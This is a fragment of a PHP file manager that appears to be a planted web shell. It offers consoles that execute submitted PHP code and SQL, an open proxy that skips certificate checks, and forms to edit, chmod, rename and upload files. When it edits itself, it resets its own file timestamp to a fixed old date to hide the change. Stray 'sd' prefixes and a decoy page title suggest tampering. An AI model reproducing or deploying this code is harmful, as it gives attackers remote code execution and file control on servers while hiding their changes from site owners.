<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
